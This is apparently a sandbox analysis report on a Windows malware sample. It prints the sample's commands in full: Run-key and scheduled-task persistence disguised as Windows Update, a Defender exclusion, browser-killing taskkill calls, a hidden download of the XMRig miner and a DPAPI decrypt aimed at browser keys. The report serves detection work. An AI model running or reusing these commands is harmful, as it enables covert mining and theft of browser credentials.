Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdateSystem' = 'wscript.exe "%TEMP%\sys_runner.vbs"'
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\updateassistant\updatecheck
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Temp'"
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM chrome.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM brave.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM msedge.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM msedge_proxy.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM opera.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM firefox.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM vivaldi.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM browser.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM chromium.exe /T
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
the following user processes:
- firefox.exe
Modifies file system
Creates the following files
- %TEMP%\nsn82e8.tmp\system.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\license.electron.txt
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\chrome_100_percent.pak
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\chrome_200_percent.pak
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\d3dcompiler_47.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\ffmpeg.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\icudtl.dat
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\libegl.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\libglesv2.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources.pak
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\snapshot_blob.bin
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\v8_context_snapshot.bin
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\vk_swiftshader.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\vk_swiftshader_icd.json
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\vulkan-1.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\locales\en-us.pak
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\21ce1c20f11ab5e4.jsc
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\node_modules\bytenode\license
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\node_modules\bytenode\package.json
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\node_modules\bytenode\lib\cli.js
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\node_modules\bytenode\lib\index.js
- %TEMP%\nsn82e8.tmp\stdutils.dll
- nul
- %TEMP%\app_rt_motq1dr7\3705c98c-4951-40b0-8f28-3bac1f19b82f.tmp
- %TEMP%\sys_runner.vbs
Sets the 'hidden' attribute to the following files
- %TEMP%\sys_runner.vbs
Moves the following files
- from %TEMP%\app_rt_motq1dr7\3705c98c-4951-40b0-8f28-3bac1f19b82f.tmp to %TEMP%\app_rt_motq1dr7\local state
Network activity
Connects to
- 'dn#.google':443
- 'ip##pi.com':80
- 'di##ord.com':443
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
- 'x1.#.lencr.org':80
TCP
HTTP GET requests
- /json/?fi############################## via ip##pi.com
- http://x1.#.lencr.org/
Other
- 'dn#.google':443
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
UDP
- DNS ASK dn#.google
- DNS ASK ip##pi.com
- DNS ASK di##ord.com
- DNS ASK gi##ub.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK x1.#.lencr.org
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe'
- '%TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe' --type=gpu-process --no-sandbox --user-data-dir="%TEMP%\app_rt_motq1dr7" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAA...
- '%TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="%TEMP%\app_rt_motq1dr7" --mojo-platform-channel-handle=1664...
- '%TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="%TEMP%\app_rt_motq1dr7" --mojo-platform-channel-handle=2456...
Executes the following
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name /value"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic nic get name,MACAddress /format:csv"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FI "IMAGENAME eq WinUpdateBroker.exe""
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name /value
- '<SYSTEM32>\wbem\wmic.exe' nic get name,MACAddress /format:csv
- '<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq WinUpdateBroker.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name"
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "%TEMP%\sys_runner.vbs""
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateSystem" /t REG_SZ /d "wscript.exe \"%TEMP%\sys_runner.vbs\"" /f"
- '<SYSTEM32>\attrib.exe' +h +s "%TEMP%\sys_runner.vbs"
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateSystem" /t REG_SZ /d "wscript.exe \"%TEMP%\sys_runner.vbs\"" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "Microsoft\Windows\UpdateAssistant\UpdateCheck" /tr "wscript.exe \"%TEMP%\sys_runner.vbs\"" /sc onlogon /rl highest /f"
- '<SYSTEM32>\schtasks.exe' /create /tn "Microsoft\Windows\UpdateAssistant\UpdateCheck" /tr "wscript.exe \"%TEMP%\sys_runner.vbs\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Temp'""
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -WindowStyle Hidden -command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip' -OutFile '%TEMP%\update_cache.zip...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip' -OutFile '%TEMP%\update_cache.zip'; Expand-Archive -Fo...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command " Add-Type -AssemblyName System.Security; $encBytes = [Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAA...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command " Add-Type -AssemblyName System.Security; $encBytes = [Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAAAAKAAAARQBkAGcAZQAAAB...
- '<SYSTEM32>\taskkill.exe' /F /IM chrome.exe /T' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM brave.exe /T' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM msedge.exe /T' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM msedge_proxy.exe /T' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM opera.exe /T' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM firefox.exe /T' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM vivaldi.exe /T' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM browser.exe /T' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM chromium.exe /T' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name /value"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic nic get name,MACAddress /format:csv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FI "IMAGENAME eq WinUpdateBroker.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "%TEMP%\sys_runner.vbs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateSystem" /t REG_SZ /d "wscript.exe \"%TEMP%\sys_runner.vbs\"" /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "Microsoft\Windows\UpdateAssistant\UpdateCheck" /tr "wscript.exe \"%TEMP%\sys_runner.vbs\"" /sc onlogon /rl highest /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Temp'""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -WindowStyle Hidden -command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip' -OutFile '%TEMP%\update_cache.zip...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command " Add-Type -AssemblyName System.Security; $encBytes = [Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAA...' (with hidden window)
